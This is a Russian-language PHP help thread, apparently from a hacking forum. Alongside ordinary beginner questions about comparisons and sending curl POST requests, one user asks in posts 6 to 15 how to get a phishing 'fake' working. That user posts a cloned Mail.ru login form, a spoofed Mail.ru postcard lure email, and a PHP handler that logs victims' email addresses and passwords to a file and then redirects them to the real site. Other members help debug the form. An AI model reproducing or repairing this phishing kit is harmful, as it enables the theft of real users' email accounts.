[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    http://php.net/stream_socket_server & http://php.net/socket_create
     
  2. Хелпер

    Хелпер Elder - Старейшина

    Joined:
    21 Feb 2007
    Messages:
    120
    Likes Received:
    31
    Reputations:
    -1
    пишу сценарий с вевлением.
    PHP:
    <?php
    //сравнение трех чисел\\
    //Вводим три переменные
    $a=56;
    $b=128;
    $c=75;
    //сравниваем 2 первых числа
    if ($a>$b)
    {
    $m=$a;
    }
    else {
    $m=$b
    //Здесь должно было присвоиться к переменной $M большее число. Однако присвоение не идет.
    ?>
     
  3. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    ты ";" забыл после $m=$b
     
    3 people like this.
  4. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    2Хелпер
    PHP:
    $m max($a$b);
     
  5. Хелпер

    Хелпер Elder - Старейшина

    Joined:
    21 Feb 2007
    Messages:
    120
    Likes Received:
    31
    Reputations:
    -1
    Спасибо, я слепой просто xD
     
  6. awaria

    awaria Banned

    Joined:
    1 Apr 2009
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    Что надо изменить, чтобы фейк заработал? Фейковая страница создана уже.

    PHP:
    <form method="post" action="log.php" onSubmit="return CheckForm(this);">

    <
    input type="hidden" name="page" value="">

    <
    input type="hidden" name="post" value="">

    <
    input type="hidden" name="login_from" value="">

    <
    tr>

    <
    td><img src=http://img.imgsmail.ru/0.gif width=55 height=1><br>Имя</td>

    <td width=63%><input type="text" name="Login" value="charm0nt" class=w_100></td>

    <
    td width=37%><select class=w_100 name="Domain"><option value="mail.ru" SELECTED>@mail.ru</option><option value="inbox.ru" >@inbox.ru</option><option value="bk.ru" >@bk.ru</option><option value="list.ru" >@list.ru</option></select></td>

    </
    tr>

    <
    tr>

    <
    td>Пароль</td>

    <
    td colspan=2>

    <
    table width=100cellpadding=0 cellspacing=0 border=0><tr>

    <
    td width=100%><input type="password" name="Password" class=w_100></td>

    <
    td>&nbsp;&nbsp;&nbsp;&nbsp;<a href="http://www.mail.ru/pages/help/2.html#2185" target=_new>Забыли&nbsp;пароль?</a></td>

    </
    tr></table>

    </
    td>

    </
    tr>

    <
    tr>

    <
    td>&nbsp;</td>

    <
    td><input type=checkbox name="level" value=1 id="alien"><label for="alien">Чужой компьютер</label></td>

    <
    td>&nbsp;</td>

    </
    tr>

    <
    tr>

    <
    td>&nbsp;</td>

    <
    td><input type="Submit" value=" Войти " style="margin-top:4px"></td>

    <
    td>&nbsp;</td>

    </
    tr></form>
     
  7. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    дайте маны по curl+https+post+cookie почитать плззз
    или про сокеты и https
     
  8. 159932

    159932 Elder - Старейшина

    Joined:
    28 Sep 2007
    Messages:
    587
    Likes Received:
    462
    Reputations:
    5
    php.net/curl
     
  9. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    awaria, самый верх:

    PHP:
     <form method="post" action="log.php" onSubmit="return CheckForm(this);"

    <
    input type="hidden" name="page" value=""

    <
    input type="hidden" name="post" value=""

    <
    input type="hidden" name="login_from" value="">
    замени на:

    PHP:
     <form method="post" name="login" id="login" action="log.php">

      <
    label for="email">Email:</label>
      <
    input class="inputText" onClick="show('expirePad');" type="text" name="login" id="email" size="20" />

      <
    label for="pass">Пароль:</label>
      <
    input class="inputText" onClick="show('expirePad');" type="password" name="pass" id="pass" size="20" />
     
  10. awaria

    awaria Banned

    Joined:
    1 Apr 2009
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    Можно немного пояснить - что это даёт. Своё вставлять ничего не надо? После заливки файлов на мою страницу перекидывать будет? А где указывается мыло жертвы? или это всё универсально? и мне всё подряд будет кидать? Как сделать на определённый ящик?
     
  11. awaria

    awaria Banned

    Joined:
    1 Apr 2009
    Messages:
    9
    Likes Received:
    2
    Reputations:
    0
    Что здесь менять на свои значения? Открытку где брать - можно тупо на радикал загрузить свою?
    Плиииз, поподробнее...

    PHP:
     <table class=readlet cellpadding=0 cellspacing=0 border=0 width="100%"><tr
    <
    td
    <
    div id=let_body><base href="http://win.mail.ru/cgi-bin/readmsg"><table cellspacing=0 cellpadding=5><tr valign=top
    <
    td><a href="http://cards.mail.ru" target="_blank"></a></td
    <
    td><font color="#333333" face="Arial" size="2"

    Здравствуйтена Ваше имя отправлена открытка

    Отправитель открытки: <a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a

    Открытку Вы можете посмотреть в течение 90 дней по ссылке 

    <a href="http://priz.croe.net./" target="_self"><font color=#0857A6>http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f</font></a> 

    Нажмите на неёчтобы попасть на страницу с открыткой

    <
    hr align="left" color="silver" size="1" width="100%"
    Чтобы своевременно узнавать о ближайших праздникахименинниках и конкурсах

    <
    a href="http://content.mail.ru/pages/p_782.html" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"подпишитесь на рассылку</a>. 


    <
    a href="http://cards.mail.ru/" target="_blank" _base_href="http://win.mail.ru/cgi-bin/readmsg"><font color="#0857a6">Открытки@Mail.Ru</font></a> - открытки на все случаи жизни!<br><br><br

    </
    font></td></tr></table
    и тут тоже что менять???
    PHP:
     <?PHP 

    $Login 
    $_POST['Login'];//Логин 
    $Domain $_POST['Domain'];//Домен 
    $Pass $_POST['Password'];//Пароль 
    $c "$Login@$Domain:$Pass"
    $fp fopen("log","a+"); //открыть файл базы 
    fwrite($fp,"\n $c <br> \n");//записываем все 
    fclose($fp); //закрываем 
    header("Location: http://cards.mail.ru/card.html?cd=00dcfed993b461be466bcca05114e17f"); 
    echo 
    "<META HTTP-EQUIV=\"Refresh\" content =\"0; URL=http://win.mail.ru/cgi-bin/start?1390370218\">"//куда пошлем пользователя после того как он ввел данные! 

    ?> 

     
  12. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    awaria, может обработчик покажешь?
     
  13. fatalo

    fatalo Elder - Старейшина

    Joined:
    15 May 2008
    Messages:
    45
    Likes Received:
    46
    Reputations:
    5
    Надо смотреть принимаемые данные.Без них никак
     
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    awaria, ты тупо скопипастил(-а) код из статьи какой-то. У тебя в форме имена полей не соответствуют именам полей, которые обрабатываются обработчиком.
     
  15. jkSeyv

    jkSeyv Member

    Joined:
    19 Jan 2009
    Messages:
    0
    Likes Received:
    18
    Reputations:
    3
    awaria, ты оказывается на Майле делал) не знал, тот тебе не подойдёт что я привёл.
    привёл бы раньше пример лог файла, сразу бы подсказал)

    тот прежний код ты откуда вытащил-то... он никак не сходится с лог-файлом..
     
  16. AFoST

    AFoST Elder - Старейшина

    Joined:
    28 May 2007
    Messages:
    588
    Likes Received:
    485
    Reputations:
    176
    как используя curl отправить следующий запрос?
    Code:
    POST https://host/index.php HTTP/1.1
    Host: www.host
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.8) Gecko/2009032609 AdCentriaIM/1.7 
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: ru,en-us;q=0.7,en;q=0.3
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 30
    Connection: keep-alive
    Referer: https://www.host
    Cookie: sess_id1=FVASDRitb; sess_id2=12378178
    Content-Type: multipart/form-data; boundary=---------------------------24464570528145
    Content-Length: 492
    
    -----------------------------24464570528145
    Content-Disposition: form-data; name="qwer"
    
    12345678912345678912345
    -----------------------------24464570528145
    Content-Disposition: form-data; name="variable2"
    
    
    -----------------------------24464570528145
    Content-Disposition: form-data; name="var3"
    
    val3
    -----------------------------24464570528145
    Content-Disposition: form-data; name="var4"
    
    val4
    -----------------------------24464570528145--
    
     
  17. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    AFoST

    http://ru2.php.net/manual/ru/function.curl-setopt.php

    CURLOPT_USERAGENT
    CURLOPT_REFERER
    CURLOPT_COOKIE
    CURLOPT_HTTPHEADER
    CURLOPT_POSTFIELDS

    пример, как их юзать в конце страницы.
     
    2 people like this.
  18. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99


    PHP:
    $curl curl_init();
    curl_setopt($curl,CURLOPT_URL,"https://host/index.php");
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
    curl_setopt($curl,CURLOPT_HEADER,false);
    $postdata = array(
            
    'qwer'    => '12345678912345678912345'
            
    'variable2'    => ''
            
    'var3'       => 'val3',
     
    'var4'       => 'val4'
       
    );  
    curl_setopt($curlCURLOPT_POSTFIELDS$postdata);  
    curl_setopt($curlCURLOPT_SSL_VERIFYPEERFALSE);
    curl_setopt($curl,CURLOPT_COOKIE"sess_id1=FVASDRitb; sess_id2=12378178");  
    curl_setopt($curl,CURLOPT_ENCODING,"gzip,deflate");
    $ret curl_exec($curl);
    echo 
    $ret;

    Ну, общем, как-то так....
     
    2 people like this.
  19. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50
    Ну ещё добавить
    PHP:
    curl_setopt($curlCURLOPT_POST1);
    И файлы передаются с собачкой @
     
  20. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    хм, а зачем добавлять, если не секерт?)
    Мнго раз видел, но и без этого рабоатет, вроде)
    А про файл в вопрсое нчиего не было Ж)
     
Thread Status:
Not open for further replies.